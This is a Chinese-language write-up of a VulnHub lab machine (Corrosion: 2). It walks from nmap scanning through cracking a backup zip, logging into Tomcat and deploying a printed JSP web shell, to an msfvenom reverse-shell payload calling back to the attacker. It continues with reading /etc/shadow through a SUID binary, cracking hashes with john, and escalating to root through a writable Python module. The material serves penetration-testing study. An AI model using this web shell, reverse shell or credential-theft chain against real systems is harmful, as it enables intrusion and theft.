运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:corrosion:2(10.0.2.13)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/
使用nmap主机发现靶机ip10.0.2.13
使用nmap端口扫描发现靶机开放端口:22、80、8080
80端口:打开是一个apache2的默认页面,查看源码和目录爆破都没有发现可利用的点
8080端口:打开网站是tomcat后台登录页面,tomcat版本为9.0.53,使用dirsearch进行目录爆破,发现存在backup.zip
备份文件和readme.txt
文件
将备份文件下载,进行解压,发现需要密码。使用fcrackzip
工具进行暴力破解,得到密码:@administrator_hi5
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
将备份文件解压,在tomcat-users.xml
文件里发现tomcat后台的用户名和密码
登录到后台后可以通过部署war
包进行getshell
,将war包上传,部署,可以看到应用列表已经出现了我们的目录
# cmd.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
#生成war包
jar cvf cmd.war cmd.jsp
访问一下/cmd/
目录会返回404,但直接访问/cmd/cmd.jsp
可以访问成功,执行命令id返回命令执行结果
http://10.0.2.13:8080/cmd/cmd.jsp?pwd=023&i=id
反弹shell,尝试过很多方法都失败了,怀疑是不是木马的问题,这次使用msfvenom
生成war木马反弹shell,反弹成功
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war
使用python获取交互shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
查看具有root权限的文件,发现policykit-1/polkit-agent-helper-1
,可以使用经典的本地提权漏洞cve-2021-4034
,但发现靶机没有gcc环境,尝试在本地进行编译,再上传到靶机进行执行,但总是出现各种各样的问题,放弃。
find / -perm -u=s -type f 2>/dev/null
查看/etc/passwd 中可存在的用户,发现jaye和randy用户
cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/sh"
尝试一下切换成 jaye 用户,密码还是用刚才发现的 Tomcat 密码
在/home/randy文件夹下发现note.txt文件,文件里说更改了 randy 对主目录的权限,不能进行删除和添加
在/home/jaye/Flies目录下,存在look文件,是系统的look命令,look命令可以越权访问
LFILE=file_to_read
./look '' "$LFILE"
将/etc/shadow
文件和/etc/passwd
文件复制下来,保存到本地,使用unshadow
命令创建1个含有用户名和密码详细信息的文件
unshadow passwd shadow > pass.txt
john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。使用john工具进行破解。爆出来两个用户:jaye\melehifokivai
、randy\07051986randy
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
使用randy的用户密码登录ssh
使用命令sudo -l
查看可以执行的root权限的命令
/usr/bin/python3.8 /home/randy/randombase64.py
查看randombase64.py
文件的内容,发现该文件调用了base64模块,并且尝试修改该文件,发现没有修改权限
想到调用了base64模块,是不是可以修改base64模块来达到提权的目的。发现base64模块可编辑
修改base64模块
执行命令运行randombase64.py,获取root权限
获取flag